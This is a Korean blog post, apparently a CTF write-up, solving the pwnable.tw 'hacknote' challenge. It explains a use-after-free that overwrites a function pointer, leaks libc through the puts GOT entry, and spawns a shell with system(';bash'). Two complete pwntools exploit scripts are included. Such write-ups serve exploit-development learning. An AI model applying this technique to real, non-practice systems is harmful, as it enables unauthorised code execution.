Profile

머리정리하는곳

c2w2m2

[Pwnable.tw] hacknote

pwnable.kr rsa_calculator 하다가 삘와서 잡은 문제다.


절대 seccon go언어 문제 하다가 1폰 못할거 같아서 쫄려서 잡은 문제 아니다.



main 함수같은 경우는 이런식으로 구성되어있다.


먼저 add 부터 보자.



이렇게 되어있는것을 볼수 있는데, 우리가 지정한 크기로 malloc 을 수행해 주는것을 볼수 있고 최대 5개까지의 노트를 만들 수 있다는 것도 볼수 있다. 그리고 가장 중요한 힙의 모양을 볼 수 있다.


이런식으로 우리가 노트를 한개 만들면 먼저 heap1 같은 구성으로 malloc 한번 되고 DATA 에 malloc 을 한번 더 진행해서 입력한 Content를 heap2 에 저장하는 것을 볼 수 있다.



또한 이에 맞춰 delete 할때 free 도 heap1, heap2 총 2번 해주는 것을 볼 수있는데, heap2 를 free 시키고 heap1 을 free 시킨다.



print 할때는 heap1 에 있는 heap_print 함수를 이용해서 출력하는데 인자로 왜 heap1 의 주소를 주냐면 



여기서 +4 해서 heap2 에 접근한다.


이렇게 분석이 끝났는데, 여기서는 heap overflow 는 터지지 않는다. 그럼 우리는 순전히 uaf 의존해서 leak 과 exploit 을 해야하는데


먼저 우리는 uaf 를 통해서 heap_print 함수를 다른 함수로 덮어서 실행 시킬 수 있다.


또한 DATA 의 주소도 바꿀수 있는데, 이를 이용해서 heap_print 는 일단 그대로 heap_print 로 덮고 DATA 주소에 특정 got 를 넣게 되면


got안에 있는 함수의 libc 주소가 leak 이 될거고 이를 통해 libc base 를 구할 수 있다.


leak 했으면 이젠 그냥 익스 하면 된다.


그래서



from pwn import *


def add(size,data):

p.recvuntil("Your choice :")

p.sendline("1")

p.recvuntil("Note size :")

p.sendline(str(size))

p.recvuntil("Content :")

p.sendline(data)

p.recvuntil("Success !")


def delete(idx):

p.recvuntil("Your choice :")

p.sendline("2")

p.recvuntil("Index :")

p.sendline(str(idx))

p.recvuntil("Success")


def printh(idx):

p.recvuntil("Your choice :")

p.sendline("3")

p.recvuntil("Index :")

p.sendline(str(idx))

try:

tmp = p.recvuntil("----------------------")

return tmp[:tmp.find("----------------------")-1]

except:

return 0


if __name__ == '__main__':

  p = process("./hacknote")

#p = remote("chall.pwnable.tw", 10102)


heap_print = 0x0804862b

puts_got = 0x804a024

        '''

puts_offset = 0x0005f140

system_offset = 0x0003a940

binsh_offset = 0x00158e88

#remote

  '''

puts_offset = 0x0005FCA0

system_offset = 0x0003ADA0

binsh_offset = 0x0015B9A8

#local

add(24,"A"*23)

add(24,"B"*23)

delete(0)

delete(1)

add(12,p32(heap_print) + p32(puts_got))

leak = u32(printh(0)[:4])

print "[Leak] : 0x%x" % leak

system = leak - puts_offset + system_offset

binsh = leak - puts_offset + binsh_offset

print "[System] : 0x%x" % system

pay = p32(system) + p32(binsh)

delete(2)

add(8,pay)

printh(0)

p.interactive()



같은 코드를 짜서 돌렸는데



띠용?


이라 생각했는데, 생각해보니 



우리가 print 를 call 할때 이런식으로 call 하니까


그냥 bash 를 넘겨주면 될것이다...!


라고 착각할수 있는데 그러면


system( &system + 'bash') 꼴로 call 이 되서 또 안된다


그러니까 ;bash 를 넘겨줘서 앞에 system 의 주소는 실행 되든말든 신경 안쓰고, 뒤에 bash 를 실행 시키면 된다.



from pwn import *


def add(size,data):

p.recvuntil("Your choice :")

p.sendline("1")

p.recvuntil("Note size :")

p.sendline(str(size))

p.recvuntil("Content :")

p.sendline(data)

p.recvuntil("Success !")


def delete(idx):

p.recvuntil("Your choice :")

p.sendline("2")

p.recvuntil("Index :")

p.sendline(str(idx))

p.recvuntil("Success")


def printh(idx):

p.recvuntil("Your choice :")

p.sendline("3")

p.recvuntil("Index :")

p.sendline(str(idx))

try:

tmp = p.recvuntil("----------------------")

return tmp[:tmp.find("----------------------")-1]

except:

return 0


if __name__ == '__main__':

# p = process("./hacknote")

p = remote("chall.pwnable.tw", 10102)


heap_print = 0x0804862b

puts_got = 0x804a024

puts_offset = 0x0005f140

system_offset = 0x0003a940

binsh_offset = 0x00158e88

#remote

'''

puts_offset = 0x0005FCA0

system_offset = 0x0003ADA0

binsh_offset = 0x0015B9A8

#local

'''

add(24,"A"*23)

add(24,"B"*23)

delete(0)

delete(1)

add(12,p32(heap_print) + p32(puts_got))

leak = u32(printh(0)[:4])

print "[Leak] : 0x%x" % leak

system = leak - puts_offset + system_offset

binsh = leak - puts_offset + binsh_offset

print "[System] : 0x%x" % system

pay = p32(system) +";bash"

delete(2)

add(9,pay)

printh(0)

p.interactive()



페이로드 실행시키고 ctrl + c 를 눌러주자. 그럼 쉘이 뜬다.



'Pwnable' 카테고리의 다른 글

[Codegate] yocto  (0) 2017.12.12
[HITCON] start  (0) 2017.12.11
[codegate2017] messanger  (0) 2017.12.04
[ch4n3 world] Sleepy  (0) 2017.11.22
[pwnable.kr] syscall  (2) 2017.10.03